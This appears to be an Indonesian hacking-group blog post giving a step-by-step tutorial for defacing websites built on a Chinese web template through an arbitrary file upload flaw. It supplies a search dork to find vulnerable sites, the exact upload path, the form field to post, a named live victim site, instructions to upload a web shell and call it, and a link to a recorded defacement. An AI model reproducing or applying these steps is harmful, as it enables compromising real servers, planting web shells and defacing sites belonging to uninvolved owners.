Deface 雅风工作室 - Arbitrary File Upload

Yo Kali Ini Gue Mao Kasih Tutorial Deface 雅风工作室 - Arbitrary File Upload. Langsung Aja Ajg

Dork : intext:"Htmcss.Com All Rights Reserved"

Exploit : /tpl/plugins/upload9.1.0/server/php/

Live : http://jmxzw.com

Disini W Pakai Web Yang Diatas

Ciri-ciri Web Vuln Kaya Gambar Dibawah Ini

Nah Langsung Aja Buka Csrf Onlinenya Klik Disini
Post File : files[]
Kalo Udah Klik Kunci Target Tinggal Upload Deh Shell/SC Kalian

Ciri-ciri Kalo Berhasil Seperti Gambar Dibawah Ini

Cara Manggil Filenya? http:\/\/target.lu\/tpl\/plugins\/upload9.1.0\/server\/php\/files\/\/[random angka_.php"

Kalo Berhasil Seterah Lo Mau Ngapain Kek :'voos

Example : http://jmxzw.com/tmp
Mirror : http://www.zone-
h.org/mirror/id/32276848

Tadaaaaaa :'v Sekian Gue CAPE NGETIK AJG :'voos

Thanks To All Member Ghost Riddiculous Team

Share this post